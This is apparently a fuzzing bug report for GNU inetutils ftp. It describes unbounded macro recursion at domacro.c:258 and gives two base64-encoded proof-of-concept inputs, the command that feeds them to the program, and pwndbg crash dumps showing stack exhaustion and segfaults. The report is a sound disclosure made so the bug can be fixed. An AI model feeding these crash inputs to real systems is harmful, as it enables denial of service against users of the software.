# Infinite Loop in domacro at domacro.c:258
## Description
An Infinite Loop was discovered in domacro at domacro.c:258. The vulnerability could allow attackers to consume excessive resources such as CPU or memory.
**version**
```
./ftp --version
ftp (GNU inetutils) 2.2.16-cf091
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <
https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by many authors.
```
**System information**
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz
## Proof of Concept
**poc**
```
base64 poc
bWEgIAoCCiQCCgoKCgoCCgsmChwKCgQKKAoRChwKJAoJZAAKhStAEwoEFwooCgoKHAokCgkCCu8J
CgoCCiQKCSIg/3cCCgIACyYKHAoKufAKJAoJIiD/fwIKAgALJgocCgoEud4KCgr/
```
**command:**
```
./ftp < ./poc
```
**Result**
```
./ftp < ./poc
(macro name) Enter macro line by line, terminating it with a null line
?Invalid command
?Invalid command
?Invalid command
?Invalid command
?Invalid command
?Invalid command
?Invalid command
(macro name) 'd' macro not found.
?Invalid command
?Invalid command
?Invalid command
?Invalid command
(macro name) [1] 3408427 segmentation fault ./ftp < ./poc
```
**gdb**
```
0x0000555555560701 258 (*c->c_handler) (margc, margv);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x2
RBX 0x5555555702c0 (__libc_csu_init) ◂— endbr64
RCX 0x0
RDX 0x55555556012b (domacro) ◂— endbr64
*RDI 0x2
RSI 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
R8 0x555555583620 ◂— 0x2
R9 0xd
R10 0x55555557100d ◂— 0x504f4f4e002029 /* ') ' */
R11 0x9
R12 0x555555559f30 (_start) ◂— endbr64
R13 0x7fffffffe210 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120 ◂— 0x0
RSP 0x7fffffffdff0 —▸ 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
*RIP 0x555555560701 (domacro+1494) ◂— call rdx
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0x5555555606ea <domacro+1471> mov rax, qword ptr [rbp - 0x20]
0x5555555606ee <domacro+1475> mov rdx, qword ptr [rax + 0x18]
0x5555555606f2 <domacro+1479> mov eax, dword ptr [rip + 0x1e3b0] <0x55555557eaa8>
0x5555555606f8 <domacro+1485> lea rsi, [rip + 0x1df81] <0x55555557e680>
0x5555555606ff <domacro+1492> mov edi, eax
► 0x555555560701 <domacro+1494> call rdx <domacro>
rdi: 0x2
rsi: 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
0x555555560703 <domacro+1496> mov eax, dword ptr [rip + 0x1defb] <0x55555557e604>
0x555555560709 <domacro+1502> test eax, eax
0x55555556070b <domacro+1504> je domacro+1528 <domacro+1528>
0x55555556070d <domacro+1506> mov rax, qword ptr [rbp - 0x20]
0x555555560711 <domacro+1510> movzx eax, byte ptr [rax + 0x10]
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /root/disk2/fuzzing/inetutils/inetutils/ftp/domacro.c
253 }
254 else
255 {
256 if (verbose)
257 printf ("%s\n", line);
► 258 (*c->c_handler) (margc, margv);
259 if (bell && c->c_bell)
260 putchar ('\007');
261
262 /* The arguments set at the time of invoking
263 * the macro must be recovered, to be used
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdff0 —▸ 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
01:0008│ 0x7fffffffdff8 ◂— 0x25556a93e
02:0010│ 0x7fffffffe000 —▸ 0x7ffff7d3b740 ◂— 0x7ffff7d3b740
03:0018│ 0x7fffffffe008 ◂— 0x55583620 /* ' 6XU' */
04:0020│ 0x7fffffffe010 ◂— 0x200000000
05:0028│ 0x7fffffffe018 ◂— 0x0
06:0030│ 0x7fffffffe020 —▸ 0x555555583642 ◂— 0x0
07:0038│ 0x7fffffffe028 —▸ 0x55555557eac2 (macbuf+2) ◂— 0xa00
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x555555560701 domacro+1494
f 1 0x555555566a09 cmdscanner+633
f 2 0x55555556665a main+929
f 3 0x7ffff7d950b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x0000555555560701 in domacro (argc=2, argv=0x55555557e680 <margv>) at domacro.c:258
#1 0x0000555555566a09 in cmdscanner (top=1) at main.c:461
#2 0x000055555556665a in main (argc=0, argv=0x7fffffffe220) at main.c:310
#3 0x00007ffff7d950b3 in __libc_start_main (main=0x5555555662b9 <main>, argc=1, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe208) at ../csu/libc-start.c:308
#4 0x0000555555559f5e in _start ()
```
crash
```
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e08fce in _int_malloc (av=av@entry=0x7ffff7f59b80 <main_arena>, bytes=bytes@entry=4) at malloc.c:3679
3679 malloc.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x20
RBX 0x7ffff7f59b80 (main_arena) ◂— 0x0
RCX 0x7ffff7f59bf0 (main_arena+112) —▸ 0x7ffff7f59be0 (main_arena+96) —▸ 0x555555784f00 ◂— 0x0
RDX 0x0
RDI 0x20
RSI 0x7ffff7f59b80 (main_arena) ◂— 0x0
R8 0x7ffff7f59bf0 (main_arena+112) —▸ 0x7ffff7f59be0 (main_arena+96) —▸ 0x555555784f00 ◂— 0x0
R9 0xd
R10 0x55555576f000 ◂— 0x0
R11 0x9
R12 0xffffffffffffffb0
R13 0x20
R14 0x2
R15 0x0
RBP 0x4
RSP 0x7fffff7fef90
RIP 0x7ffff7e08fce (_int_malloc+990) ◂— mov dword ptr [rsp + 0x28], r14d
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7e08fce <_int_malloc+990> mov dword ptr [rsp + 0x28], r14d
0x7ffff7e08fd3 <_int_malloc+995> shr rax, 6
0x7ffff7e08fd7 <_int_malloc+999> shr rdi, 9
0x7ffff7e08fdb <_int_malloc+1003> mov dword ptr [rsp + 0x70], 0x6e
0x7ffff7e08fe3 <_int_malloc+1011> mov qword ptr [rsp + 0x40], rax
0x7ffff7e08fe8 <_int_malloc+1016> add eax, 0x30
0x7ffff7e08feb <_int_malloc+1019> mov qword ptr [rsp + 0x50], rdi
0x7ffff7e08ff0 <_int_malloc+1024> add edi, 0x5b
0x7ffff7e08ff3 <_int_malloc+1027> mov dword ptr [rsp + 0x74], edi
0x7ffff7e08ff7 <_int_malloc+1031> mov dword ptr [rsp + 0x4c], eax
0x7ffff7e08ffb <_int_malloc+1035> mov dword ptr [rsp + 0x6c], 0x77
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
<Could not read memory at 0x7fffff7fef90>
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x7ffff7e08fce _int_malloc+990
f 1 0x7ffff7e0b2d4 malloc+116
f 2 0x55555556026b domacro+320
f 3 0x555555560703 domacro+1496
f 4 0x555555560703 domacro+1496
f 5 0x555555560703 domacro+1496
f 6 0x555555560703 domacro+1496
f 7 0x555555560703 domacro+1496
```
**poc2**
```
base64 poc
bWEgCwp2CiQLChkKCrcKCv8NCof2QAr2QAr5CiQLCSsKBBcXKAoKEAoKCgIK9AEQCgoKAgq5ud4K
ChUgAOQ/CgoKCSsKCgIKCv8L
```
**command:**
```
./ftp < ./poc
```
**Result**
```
Enter macro line by line, terminating it with a null line
?Invalid command
?Invalid command
?Invalid command
?Invalid command
?Invalid command
Verbose mode on.
$
v
Verbose mode off.
Verbose mode on.
$
v
Verbose mode off.
Verbose mode on.
$
v
Verbose mode off.
Verbose mode on.
$
......
v
Verbose mode off.
Verbose mode on.
$
v
Verbose mode off.
[2] 1500384 segmentation fault ./ftp < poc
```
**gdb**
```
Breakpoint 2, 0x0000555555560701 in domacro (argc=2, argv=0x55555557e680 <margv>) at domacro.c:258
258 (*c->c_handler) (margc, margv);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*RAX 0x2
RBX 0x5555555702c0 (__libc_csu_init) ◂— endbr64
*RCX 0x7ffff7e7f1e7 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x55555556012b (domacro) ◂— endbr64
*RDI 0x2
RSI 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
*R8 0x3
*R9 0x11
*R10 0x5555555716b3 ◂— 0x63656c6553000a2e /* '.\n' */
*R11 0x246
R12 0x555555559f30 (_start) ◂— endbr64
R13 0x7fffffffe210 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf60 —▸ 0x7fffffffdfe0 —▸ 0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120 ◂— ...
RSP 0x7fffffffdef0 —▸ 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
RIP 0x555555560701 (domacro+1494) ◂— call rdx
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555560701 <domacro+1494> call rdx <domacro>
rdi: 0x2
rsi: 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
0x555555560703 <domacro+1496> mov eax, dword ptr [rip + 0x1defb] <0x55555557e604>
0x555555560709 <domacro+1502> test eax, eax
0x55555556070b <domacro+1504> je domacro+1528 <domacro+1528>
0x55555556070d <domacro+1506> mov rax, qword ptr [rbp - 0x20]
0x555555560711 <domacro+1510> movzx eax, byte ptr [rax + 0x10]
0x555555560715 <domacro+1514> test al, al
0x555555560717 <domacro+1516> je domacro+1528 <domacro+1528>
0x555555560719 <domacro+1518> mov edi, 7
0x55555556071e <domacro+1523> call putchar@plt <putchar@plt>
0x555555560723 <domacro+1528> mov rax, qword ptr [rip + 0x1f41e] <0x55555557fb48>
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /root/disk2/fuzzing/inetutils/inetutils/ftp/domacro.c
253 }
254 else
255 {
256 if (verbose)
257 printf ("%s\n", line);
► 258 (*c->c_handler) (margc, margv);
259 if (bell && c->c_bell)
260 putchar ('\007');
261
262 /* The arguments set at the time of invoking
263 * the macro must be recovered, to be used
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdef0 —▸ 0x55555557e680 (margv) —▸ 0x555555572c76 ◂— 0x6c75616665640024 /* '$' */
01:0008│ 0x7fffffffdef8 ◂— 0x25556a93e
02:0010│ 0x7fffffffdf00 —▸ 0x555555579ac8 (stdout@@GLIBC_2.2.5) —▸ 0x7ffff7f5a6a0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
03:0018│ 0x7fffffffdf08 ◂— 0x55583620 /* ' 6XU' */
04:0020│ 0x7fffffffdf10 ◂— 0x200000000
05:0028│ 0x7fffffffdf18 ◂— 0x0
06:0030│ 0x7fffffffdf20 —▸ 0x555555583a92 ◂— 0x9be000007ffff700
07:0038│ 0x7fffffffdf28 —▸ 0x55555557eac4 (macbuf+4) ◂— 0xa001900
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x555555560701 domacro+1494
f 1 0x555555560703 domacro+1496
f 2 0x555555560703 domacro+1496
f 3 0x555555566a09 cmdscanner+633
f 4 0x55555556665a main+929
f 5 0x7ffff7d950b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
v
Breakpoint 2, 0x0000555555560701 in domacro (argc=2, argv=0x55555557e680 <margv>) at domacro.c:258
258 (*c->c_handler) (margc, margv);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*RAX 0x1
RBX 0x5555555702c0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7e7f1e7 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x55555555c9e6 (setverbose) ◂— endbr64
*RDI 0x1
RSI 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x76 /* 'v' */
*R8 0x2
*R9 0x555555583b20 ◂— 0x60 /* '`' */
*R10 0x555555580010 ◂— 0x0
R11 0x246
R12 0x555555559f30 (_start) ◂— endbr64
R13 0x7fffffffe210 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7fffffffdee0 —▸ 0x7fffffffdf60 —▸ 0x7fffffffdfe0 —▸ 0x7fffffffe060 —▸ 0x7fffffffe0a0 ◂— ...
*RSP 0x7fffffffde70 —▸ 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x76 /* 'v' */
RIP 0x555555560701 (domacro+1494) ◂— call rdx
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555560701 <domacro+1494> call rdx <setverbose>
rdi: 0x1
rsi: 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x76 /* 'v' */
0x555555560703 <domacro+1496> mov eax, dword ptr [rip + 0x1defb] <0x55555557e604>
0x555555560709 <domacro+1502> test eax, eax
0x55555556070b <domacro+1504> je domacro+1528 <domacro+1528>
0x55555556070d <domacro+1506> mov rax, qword ptr [rbp - 0x20]
0x555555560711 <domacro+1510> movzx eax, byte ptr [rax + 0x10]
0x555555560715 <domacro+1514> test al, al
0x555555560717 <domacro+1516> je domacro+1528 <domacro+1528>
0x555555560719 <domacro+1518> mov edi, 7
0x55555556071e <domacro+1523> call putchar@plt <putchar@plt>
0x555555560723 <domacro+1528> mov rax, qword ptr [rip + 0x1f41e] <0x55555557fb48>
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /root/disk2/fuzzing/inetutils/inetutils/ftp/domacro.c
253 }
254 else
255 {
256 if (verbose)
257 printf ("%s\n", line);
► 258 (*c->c_handler) (margc, margv);
259 if (bell && c->c_bell)
260 putchar ('\007');
261
262 /* The arguments set at the time of invoking
263 * the macro must be recovered, to be used
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde70 —▸ 0x55555557e680 (margv) —▸ 0x555555583620 ◂— 0x76 /* 'v' */
01:0008│ 0x7fffffffde78 ◂— 0x255583a90
02:0010│ 0x7fffffffde80 —▸ 0x555555579ac8 (stdout@@GLIBC_2.2.5) —▸ 0x7ffff7f5a6a0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
03:0018│ 0x7fffffffde88 ◂— 0xf7f5b4a0
04:0020│ 0x7fffffffde90 ◂— 0x200000000
05:0028│ 0x7fffffffde98 ◂— 0x0
06:0030│ 0x7fffffffdea0 —▸ 0x555555583ab1 ◂— 0xe000007ffff7f500
07:0038│ 0x7fffffffdea8 —▸ 0x55555557eac1 (macbuf+1) ◂— 0xa0019000b2400
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x555555560701 domacro+1494
f 1 0x555555560703 domacro+1496
f 2 0x555555560703 domacro+1496
f 3 0x555555560703 domacro+1496
f 4 0x555555566a09 cmdscanner+633
f 5 0x55555556665a main+929
f 6 0x7ffff7d950b3 __libc_start_main+243
```
crash
```
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e01a44 in _IO_new_do_write (fp=0x7ffff7f5a6a0 <_IO_2_1_stdout_>, data="" "Verbose mode on.\n\ny line, terminating it with a null line\n", to_do=17) at fileops.c:425
425 fileops.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x0
RBX 0x2
RCX 0xa2e
RDX 0x11
RDI 0x7ffff7f5a6a0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
RSI 0x555555583640 ◂— 'Verbose mode on.\n\ny line, terminating it with a null line\n'
R8 0xffffffff
R9 0xf
R10 0x5555555716b3 ◂— 0x63656c6553000a2e /* '.\n' */
R11 0x5555555713cd ◂— 0x430066666f006e6f /* 'on' */
R12 0x5555555716b5 ◂— 0x697463656c655300
R13 0x7ffff7f5b608 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e03ee0 (_IO_cleanup) ◂— endbr64
R14 0x0
R15 0x7ffff7f5a8a0 (_IO_helper_jumps) ◂— 0x0
RBP 0x7ffff7f5a6a0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
RSP 0x7fffff7ff000 ◂— 0xd68 /* 'h\r' */
RIP 0x7ffff7e01a44 (_IO_do_write+36) ◂— push r12
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7e01a44 <_IO_do_write+36> push r12
0x7ffff7e01a46 <_IO_do_write+38> sub r13, r15
0x7ffff7e01a49 <_IO_do_write+41> mov r12, rsi
0x7ffff7e01a4c <_IO_do_write+44> push rbp
0x7ffff7e01a4d <_IO_do_write+45> mov rbp, rdx
0x7ffff7e01a50 <_IO_do_write+48> push rbx
0x7ffff7e01a51 <_IO_do_write+49> mov rbx, rdi
0x7ffff7e01a54 <_IO_do_write+52> sub rsp, 8
0x7ffff7e01a58 <_IO_do_write+56> mov r14, qword ptr [rdi + 0xd8]
0x7ffff7e01a5f <_IO_do_write+63> mov rax, r14
0x7ffff7e01a62 <_IO_do_write+66> sub rax, r15
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0xd68 /* 'h\r' */
01:0008│ 0x7fffff7ff008 ◂— 0x0
02:0010│ 0x7fffff7ff010 —▸ 0x7ffff7f5a8a0 (_IO_helper_jumps) ◂— 0x0
03:0018│ 0x7fffff7ff018 —▸ 0x7ffff7e00835 (_IO_file_xsputn+229) ◂— cmp eax, -1
04:0020│ 0x7fffff7ff020 ◂— 0x0
05:0028│ 0x7fffff7ff028 —▸ 0x7ffff7e0000d (_IO_file_write+45) ◂— test rax, rax
06:0030│ 0x7fffff7ff030 ◂— 0x0
07:0038│ 0x7fffff7ff038 —▸ 0x5555555716b5 ◂— 0x697463656c655300
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x7ffff7e01a44 _IO_do_write+36
f 1 0x7ffff7e00835 _IO_file_xsputn+229
f 2 0x7ffff7e00835 _IO_file_xsputn+229
f 3 0x7ffff7de8166 __vfprintf_internal+1926
f 4 0x7ffff7dd2ebf printf+175
f 5 0x55555555ca2e setverbose+72
f 6 0x555555560703 domacro+1496
f 7 0x555555560703 domacro+1496
```